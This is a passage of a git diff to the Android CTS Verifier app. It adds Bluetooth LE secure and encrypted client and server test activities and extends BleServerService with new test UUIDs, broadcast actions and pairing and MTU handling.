+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.content.Intent;

+import android.os.Build;

+import android.os.Bundle;

+

+import com.android.cts.verifier.R;

+

+public class BleSecureClientStartActivity extends BleClientTestBaseActivity {

+    private Intent mIntent;

+

+    @Override

+    public void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+        setInfoResources(R.string.ble_client_test_name,

+                R.string.ble_secure_client_test_info, -1);

+

+        mIntent = new Intent(this, BleClientService.class);

+        mIntent.setAction(BleClientService.BLE_CLIENT_ACTION_CLIENT_CONNECT_SECURE);

+

+        startService(mIntent);

+    }

+

+    @Override

+    public void onDestroy() {

+        super.onDestroy();

+        stopService(mIntent);

+    }

+

+    @Override

+    public boolean shouldRebootBluetoothAfterTest() {

+        return (Build.VERSION.SDK_INT > Build.VERSION_CODES.M);

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java
new file mode 100644
index 0000000..54f8ad1
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java
@@ -0,0 +1,48 @@
+/*

+ * Copyright (C) 2016 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.bluetooth.BluetoothAdapter;

+import android.os.Bundle;

+

+import com.android.cts.verifier.ManifestTestListAdapter;

+import com.android.cts.verifier.PassFailButtons;

+import com.android.cts.verifier.R;

+

+import java.util.ArrayList;

+import java.util.List;

+

+public class BleSecureClientTestListActivity extends PassFailButtons.TestListActivity {

+

+    @Override

+    protected void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+        setContentView(R.layout.pass_fail_list);

+        setPassFailButtonClickListeners();

+        setInfoResources(R.string.ble_secure_client_test_list_name, R.string.ble_secure_client_test_list_info, -1);

+

+        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();

+        List<String> disabledTest = new ArrayList<String>();

+        if (adapter == null || !adapter.isOffloadedFilteringSupported()) {

+            disabledTest.add(

+                    "com.android.cts.verifier.bluetooth.BleAdvertiserHardwareScanFilterActivity.");

+        }

+

+        setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),

+                disabledTest.toArray(new String[disabledTest.size()])));

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureConnectionPriorityClientTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureConnectionPriorityClientTestActivity.java
new file mode 100644
index 0000000..00eef49
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureConnectionPriorityClientTestActivity.java
@@ -0,0 +1,44 @@
+/*

+ * Copyright (C) 2016 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.content.Intent;

+import android.os.Build;

+import android.os.Bundle;

+

+public class BleSecureConnectionPriorityClientTestActivity extends BleConnectionPriorityClientBaseActivity {

+    private Intent mIntent;

+

+    @Override

+    protected void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+        mIntent = new Intent(BleSecureConnectionPriorityClientTestActivity.this, BleConnectionPriorityClientService.class);

+        mIntent.setAction(BleConnectionPriorityClientService.ACTION_CLIENT_CONNECT_SECURE);

+        startService(mIntent);

+    }

+

+    @Override

+    public void onDestroy() {

+        super.onDestroy();

+        stopService(mIntent);

+    }

+

+    @Override

+    public boolean shouldRebootBluetoothAfterTest() {

+        return (Build.VERSION.SDK_INT > Build.VERSION_CODES.M);

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureConnectionPriorityServerTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureConnectionPriorityServerTestActivity.java
new file mode 100644
index 0000000..e64d6f6
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureConnectionPriorityServerTestActivity.java
@@ -0,0 +1,27 @@
+/*

+ * Copyright (C) 2016 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.os.Bundle;

+

+public class BleSecureConnectionPriorityServerTestActivity extends BleConnectionPriorityServerBaseActivity {

+

+    @Override

+    protected void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureEncryptedClientTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureEncryptedClientTestActivity.java
new file mode 100644
index 0000000..83a747c
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureEncryptedClientTestActivity.java
@@ -0,0 +1,49 @@
+/*

+ * Copyright (C) 2016 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.content.Intent;

+import android.os.Build;

+import android.os.Bundle;

+

+public class BleSecureEncryptedClientTestActivity extends BleEncryptedClientBaseActivity {

+    private Intent mIntent;

+

+    @Override

+    protected void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+        mIntent =  new Intent(this, BleEncryptedClientService.class);

+        mIntent.setAction(BleEncryptedClientService.ACTION_CONNECT_WITH_SECURE);

+        startService(mIntent);

+    }

+

+    @Override

+    public void onDestroy() {

+        super.onDestroy();

+        stopService(mIntent);

+    }

+

+    @Override

+    public boolean shouldRebootBluetoothAfterTest() {

+        return (Build.VERSION.SDK_INT > Build.VERSION_CODES.M);

+    }

+

+    @Override

+    public boolean isSecure() {

+        return true;

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureEncryptedServerTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureEncryptedServerTestActivity.java
new file mode 100644
index 0000000..58fbc18
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureEncryptedServerTestActivity.java
@@ -0,0 +1,38 @@
+/*

+ * Copyright (C) 2016 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.content.Intent;

+import android.os.Bundle;

+

+public class BleSecureEncryptedServerTestActivity extends BleEncryptedServerBaseActivity {

+    private Intent mIntent;

+

+    @Override

+    protected void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+        mIntent =  new Intent(this, BleEncryptedServerService.class);

+        mIntent.setAction(BleEncryptedServerService.ACTION_CONNECT_WITH_SECURE);

+        startService(mIntent);

+    }

+

+    @Override

+    public void onDestroy() {

+        super.onDestroy();

+        stopService(mIntent);

+    }

+}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureServerAdvertiserPowerLevelActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureServerAdvertiserPowerLevelActivity.java
new file mode 100644
index 0000000..f131932f
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureServerAdvertiserPowerLevelActivity.java
@@ -0,0 +1,11 @@
+package com.android.cts.verifier.bluetooth;

+

+import android.os.Bundle;

+

+public class BleSecureServerAdvertiserPowerLevelActivity extends BleAdvertiserPowerLevelActivity {

+

+    @Override

+    public void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureServerAdvertiserTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureServerAdvertiserTestActivity.java
new file mode 100644
index 0000000..5fff2e1
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureServerAdvertiserTestActivity.java
@@ -0,0 +1,11 @@
+package com.android.cts.verifier.bluetooth;

+

+import android.os.Bundle;

+

+public class BleSecureServerAdvertiserTestActivity extends BleAdvertiserTestActivity {

+

+    @Override

+    public void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureServerScannerPowerLevelActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureServerScannerPowerLevelActivity.java
new file mode 100644
index 0000000..a4f29fc
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureServerScannerPowerLevelActivity.java
@@ -0,0 +1,11 @@
+package com.android.cts.verifier.bluetooth;

+

+import android.os.Bundle;

+

+public class BleSecureServerScannerPowerLevelActivity extends BleScannerPowerLevelActivity {

+

+    @Override

+    public void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureServerScannerTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureServerScannerTestActivity.java
new file mode 100644
index 0000000..4f38a27
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureServerScannerTestActivity.java
@@ -0,0 +1,11 @@
+package com.android.cts.verifier.bluetooth;

+

+import android.os.Bundle;

+

+public class BleSecureServerScannerTestActivity extends BleScannerTestActivity {

+

+    @Override

+    public void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureServerStartActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureServerStartActivity.java
new file mode 100644
index 0000000..620ade3
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureServerStartActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.content.Intent;
+import android.os.Bundle;
+
+public class BleSecureServerStartActivity extends BleServerTestBaseActivity {
+    private Intent mIntent;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        mIntent = new Intent(this, BleServerService.class);
+        mIntent.setAction(BleServerService.BLE_ACTION_SERVER_SECURE);
+        startService(mIntent);
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        stopService(mIntent);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureServerTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureServerTestListActivity.java
new file mode 100644
index 0000000..06d6dab
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureServerTestListActivity.java
@@ -0,0 +1,48 @@
+/*

+ * Copyright (C) 2016 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.bluetooth.BluetoothAdapter;

+import android.os.Bundle;

+

+import com.android.cts.verifier.ManifestTestListAdapter;

+import com.android.cts.verifier.PassFailButtons;

+import com.android.cts.verifier.R;

+

+import java.util.ArrayList;

+import java.util.List;

+

+public class BleSecureServerTestListActivity extends PassFailButtons.TestListActivity {

+

+    @Override

+    protected void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+        setContentView(R.layout.pass_fail_list);

+        setPassFailButtonClickListeners();

+        setInfoResources(R.string.ble_secure_server_test_list_name, R.string.ble_secure_server_test_list_info, -1);

+

+        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();

+        List<String> disabledTest = new ArrayList<String>();

+        if (adapter == null || !adapter.isOffloadedFilteringSupported()) {

+            disabledTest.add(

+                    "com.android.cts.verifier.bluetooth.BleAdvertiserHardwareScanFilterActivity.");

+        }

+

+        setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),

+                disabledTest.toArray(new String[disabledTest.size()])));

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
index 8718f57..464761f 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
@@ -16,14 +16,7 @@
 
 package com.android.cts.verifier.bluetooth;
 
-import java.util.Date;
-import java.util.List;
-import java.util.Timer;
-import java.util.TimerTask;
-import java.util.UUID;
-
 import android.app.Service;
-import android.bluetooth.BluetoothAdapter;
 import android.bluetooth.BluetoothDevice;
 import android.bluetooth.BluetoothGatt;
 import android.bluetooth.BluetoothGattCharacteristic;
@@ -39,12 +32,24 @@
 import android.bluetooth.le.BluetoothLeAdvertiser;
 import android.content.Context;
 import android.content.Intent;
+import android.os.Build;
 import android.os.Handler;
 import android.os.IBinder;
 import android.os.ParcelUuid;
 import android.util.Log;
 import android.widget.Toast;
 
+import com.android.cts.verifier.R;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Set;
+import java.util.Timer;
+import java.util.UUID;
+
 public class BleServerService extends Service {
 
     public static final boolean DEBUG = true;
@@ -54,29 +59,73 @@
     public static final int COMMAND_WRITE_CHARACTERISTIC = 1;
     public static final int COMMAND_WRITE_DESCRIPTOR = 2;
 
+    public static final String BLE_BLUETOOTH_MISMATCH_SECURE =
+            "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_MISMATCH_SECURE";
+    public static final String BLE_BLUETOOTH_MISMATCH_INSECURE =
+            "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_MISMATCH_INSECURE";
+    public static final String BLE_BLUETOOTH_DISABLED =
+            "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_DISABLED";
+    public static final String BLE_ACTION_SERVER_SECURE =
+            "com.android.cts.verifier.bluetooth.BLE_ACTION_SERVER_SECURE";
+    public static final String BLE_ACTION_SERVER_NON_SECURE =
+            "com.android.cts.verifier.bluetooth.BLE_ACTION_SERVER_NON_SECURE";
+
+
     public static final String BLE_SERVER_CONNECTED =
             "com.android.cts.verifier.bluetooth.BLE_SERVER_CONNECTED";
     public static final String BLE_SERVER_DISCONNECTED =
             "com.android.cts.verifier.bluetooth.BLE_SERVER_DISCONNECTED";
     public static final String BLE_SERVICE_ADDED =
             "com.android.cts.verifier.bluetooth.BLE_SERVICE_ADDED";
+    public static final String BLE_MTU_REQUEST_23BYTES =
+            "com.android.cts.verifier.bluetooth.BLE_MTU_REQUEST_23BYTES";
+    public static final String BLE_MTU_REQUEST_512BYTES =
+            "com.android.cts.verifier.bluetooth.BLE_MTU_REQUEST_512BYTES";
     public static final String BLE_CHARACTERISTIC_READ_REQUEST =
             "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_READ_REQUEST";
     public static final String BLE_CHARACTERISTIC_WRITE_REQUEST =
             "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_WRITE_REQUEST";
+    public static final String BLE_CHARACTERISTIC_READ_REQUEST_WITHOUT_PERMISSION =
+            "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_READ_REQUEST_WITHOUT_PERMISSION";
+    public static final String BLE_CHARACTERISTIC_WRITE_REQUEST_WITHOUT_PERMISSION =
+            "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_WRITE_REQUEST_WITHOUT_PERMISSION";
+    public static final String BLE_CHARACTERISTIC_READ_REQUEST_NEED_ENCRYPTED =
+            "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_READ_REQUEST_NEED_ENCRYPTED";
+    public static final String BLE_CHARACTERISTIC_WRITE_REQUEST_NEED_ENCRYPTED =
+            "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_WRITE_REQUEST_NEED_ENCRYPTED";
+    public static final String BLE_CHARACTERISTIC_NOTIFICATION_REQUEST =
+            "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_NOTIFICATION_REQUEST";
+    public static final String BLE_CHARACTERISTIC_INDICATE_REQUEST =
+            "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_INDICATE_REQUEST";
     public static final String BLE_DESCRIPTOR_READ_REQUEST =
             "com.android.cts.verifier.bluetooth.BLE_DESCRIPTOR_READ_REQUEST";
     public static final String BLE_DESCRIPTOR_WRITE_REQUEST =
             "com.android.cts.verifier.bluetooth.BLE_DESCRIPTOR_WRITE_REQUEST";
+    public static final String BLE_DESCRIPTOR_READ_REQUEST_WITHOUT_PERMISSION =
+            "com.android.cts.verifier.bluetooth.BLE_DESCRIPTOR_READ_REQUEST_WITHOUT_PERMISSION";
+    public static final String BLE_DESCRIPTOR_WRITE_REQUEST_WITHOUT_PERMISSION =
+            "com.android.cts.verifier.bluetooth.BLE_DESCRIPTOR_WRITE_REQUEST_WITHOUT_PERMISSION";
+    public static final String BLE_DESCRIPTOR_READ_REQUEST_NEED_ENCRYPTED =
+            "com.android.cts.verifier.bluetooth.BLE_DESCRIPTOR_READ_REQUEST_NEED_ENCRYPTED";
+    public static final String BLE_DESCRIPTOR_WRITE_REQUEST_NEED_ENCRYPTED =
+            "com.android.cts.verifier.bluetooth.BLE_DESCRIPTOR_WRITE_REQUEST_NEED_ENCRYPTED";
     public static final String BLE_EXECUTE_WRITE =
             "com.android.cts.verifier.bluetooth.BLE_EXECUTE_WRITE";
     public static final String BLE_OPEN_FAIL =
             "com.android.cts.verifier.bluetooth.BLE_OPEN_FAIL";
+    public static final String BLE_RELIABLE_WRITE_BAD_RESP =
+            "com.android.cts.verifier.bluetooth.BLE_RELIABLE_WRITE_BAD_RESP";
+    public static final String BLE_ADVERTISE_UNSUPPORTED =
+            "com.android.cts.verifier.bluetooth.BLE_ADVERTISE_UNSUPPORTED";
+    public static final String BLE_ADD_SERVICE_FAIL =
+            "com.android.cts.verifier.bluetooth.BLE_ADD_SERVICE_FAIL";
 
     private static final UUID SERVICE_UUID =
             UUID.fromString("00009999-0000-1000-8000-00805f9b34fb");
     private static final UUID CHARACTERISTIC_UUID =
             UUID.fromString("00009998-0000-1000-8000-00805f9b34fb");
+    private static final UUID CHARACTERISTIC_RESULT_UUID =
+            UUID.fromString("00009974-0000-1000-8000-00805f9b34fb");
     private static final UUID UPDATE_CHARACTERISTIC_UUID =
             UUID.fromString("00009997-0000-1000-8000-00805f9b34fb");
     private static final UUID DESCRIPTOR_UUID =
@@ -84,6 +133,82 @@
     public static final UUID ADV_SERVICE_UUID=
             UUID.fromString("00003333-0000-1000-8000-00805f9b34fb");
 
+    private static final UUID SERVICE_UUID_ADDITIONAL =
+            UUID.fromString("00009995-0000-1000-8000-00805f9b34fb");
+    private static final UUID SERVICE_UUID_INCLUDED =
+            UUID.fromString("00009994-0000-1000-8000-00805f9b34fb");
+
+    // Variable for registration permission of Characteristic
+    private static final UUID CHARACTERISTIC_NO_READ_UUID =
+            UUID.fromString("00009984-0000-1000-8000-00805f9b34fb");
+    private static final UUID CHARACTERISTIC_NO_WRITE_UUID =
+            UUID.fromString("00009983-0000-1000-8000-00805f9b34fb");
+    private static final UUID CHARACTERISTIC_NEED_ENCRYPTED_READ_UUID =
+            UUID.fromString("00009982-0000-1000-8000-00805f9b34fb");
+    private static final UUID CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID =
+            UUID.fromString("00009981-0000-1000-8000-00805f9b34fb");
+
+    // Variable for registration permission of Descriptor
+    private static final UUID DESCRIPTOR_NO_READ_UUID =
+            UUID.fromString("00009973-0000-1000-8000-00805f9b34fb");
+    private static final UUID DESCRIPTOR_NO_WRITE_UUID =
+            UUID.fromString("00009972-0000-1000-8000-00805f9b34fb");
+    private static final UUID DESCRIPTOR_NEED_ENCRYPTED_READ_UUID =
+            UUID.fromString("00009969-0000-1000-8000-00805f9b34fb");
+    private static final UUID DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID =
+            UUID.fromString("00009968-0000-1000-8000-00805f9b34fb");
+
+    //  Variable for registration upper limit confirmation of Characteristic
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_1 =
+            UUID.fromString("00009989-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_2 =
+            UUID.fromString("00009988-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_3 =
+            UUID.fromString("00009987-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_4 =
+            UUID.fromString("00009986-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_5 =
+            UUID.fromString("00009985-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_6 =
+            UUID.fromString("00009979-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_7 =
+            UUID.fromString("00009978-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_8 =
+            UUID.fromString("00009977-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_9 =
+            UUID.fromString("00009976-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_10 =
+            UUID.fromString("00009975-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_11 =
+            UUID.fromString("00009959-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_12 =
+            UUID.fromString("00009958-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_13 =
+            UUID.fromString("00009957-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_14 =
+            UUID.fromString("00009956-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID_15 =
+            UUID.fromString("00009955-0000-1000-8000-00805f9b34fb");
+
+    private static final UUID UPDATE_DESCRIPTOR_UUID =
+            UUID.fromString("00002902-0000-1000-8000-00805f9b34fb");
+
+    private static final UUID INDICATE_CHARACTERISTIC_UUID =
+            UUID.fromString("00009971-0000-1000-8000-00805f9b34fb");
+
+    private static final int CONN_INTERVAL = 150;   // connection interval 150ms
+
+    // Delay of notification when secure test failed to start.
+    private static final long NOTIFICATION_DELAY_OF_SECURE_TEST_FAILURE = 5 * 1000;
+
+    public static final String WRITE_VALUE = "SERVER_TEST";
+    private static final String NOTIFY_VALUE = "NOTIFY_TEST";
+    private static final String INDICATE_VALUE = "INDICATE_TEST";
+    public static final String READ_NO_PERMISSION = "READ_NO_CHAR";
+    public static final String WRITE_NO_PERMISSION = "WRITE_NO_CHAR";
+    public static final String DESCRIPTOR_READ_NO_PERMISSION = "READ_NO_DESC";
+    public static final String DESCRIPTOR_WRITE_NO_PERMISSION = "WRITE_NO_DESC";
+
     private BluetoothManager mBluetoothManager;
     private BluetoothGattServer mGattServer;
     private BluetoothGattService mService;
@@ -92,6 +217,25 @@
     private Handler mHandler;
     private String mReliableWriteValue;
     private BluetoothLeAdvertiser mAdvertiser;
+    private boolean mIndicated;
+    private int mNotifyCount;
+    private boolean mSecure;
+    private int mCountMtuChange;
+    private int mMtuSize = -1;
+    private String mMtuTestReceivedData;
+    private Runnable mResetValuesTask;
+    private BluetoothGattService mAdditionalNotificationService;
+
+    // Task to notify failure of starting secure test.
+    //   Secure test calls BluetoothDevice#createBond() when devices were not paired.
+    //   createBond() causes onConnectionStateChange() twice, and it works as strange sequence.
+    //   At the first onConnectionStateChange(), target device is not paired(bond state is
+    //   BluetoothDevice.BOND_NONE).
+    //   At the second onConnectionStateChange(), target devices is paired(bond state is
+    //   BluetoothDevice.BOND_BONDED).
+    //   CTS Verifier will perform lazy check of bond state.Verifier checks bond state
+    //   after NOTIFICATION_DELAY_OF_SECURE_TEST_FAILURE from the first onConnectionStateChange().
+    private Runnable mNotificationTaskOfSecureTestStartFailure;
 
     @Override
     public void onCreate() {
@@ -100,22 +244,73 @@
         mBluetoothManager = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);
         mAdvertiser = mBluetoothManager.getAdapter().getBluetoothLeAdvertiser();
         mGattServer = mBluetoothManager.openGattServer(this, mCallbacks);
+
         mService = createService();
-        if (mGattServer != null) {
-            mGattServer.addService(mService);
-        }
+        mAdditionalNotificationService = createAdditionalNotificationService();
+
         mDevice = null;
-        mReliableWriteValue = null;
+        mReliableWriteValue = "";
 
         mHandler = new Handler();
-        if (mGattServer == null) {
+        if (!mBluetoothManager.getAdapter().isEnabled()) {
+            notifyBluetoothDisabled();
+        } else if (mGattServer == null) {
             notifyOpenFail();
+        } else if (mAdvertiser == null) {
+            notifyAdvertiseUnsupported();
+        } else {
+            // start adding services
+            mNotifyCount = 11;
+            mSecure = false;
+            mCountMtuChange = 0;
+            if (!mGattServer.addService(mService)) {
+                notifyAddServiceFail();
+            }
         }
     }
 
+    private void notifyBluetoothDisabled() {
+        Intent intent = new Intent(BLE_BLUETOOTH_DISABLED);
+        sendBroadcast(intent);
+    }
+
+    private void notifyMismatchSecure() {
+        Intent intent = new Intent(BLE_BLUETOOTH_MISMATCH_SECURE);
+        sendBroadcast(intent);
+    }
+
+    private void notifyMismatchInsecure() {
+        /*
+        Intent intent = new Intent(BLE_BLUETOOTH_MISMATCH_INSECURE);
+        sendBroadcast(intent);
+        */
+    }
+
     @Override
     public int onStartCommand(Intent intent, int flags, int startId) {
-        startAdvertise();
+        String action = intent.getAction();
+        if (action != null) {
+            switch (action) {
+            case BLE_ACTION_SERVER_SECURE:
+                mSecure = true;
+                if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.M) {
+                    showMessage("Skip MTU test.");
+                    mCountMtuChange = 1;
+                    notifyMtuRequest();
+                    mCountMtuChange = 2;
+                    notifyMtuRequest();
+                    mCountMtuChange = 0;
+                }
+                break;
+            case BLE_ACTION_SERVER_NON_SECURE:
+                mSecure = false;
+                break;
+            }
+        }
+
+        if (mBluetoothManager.getAdapter().isEnabled() && (mAdvertiser != null)) {
+            startAdvertise();
+        }
         return START_NOT_STICKY;
     }
 
@@ -127,145 +322,498 @@
     @Override
     public void onDestroy() {
         super.onDestroy();
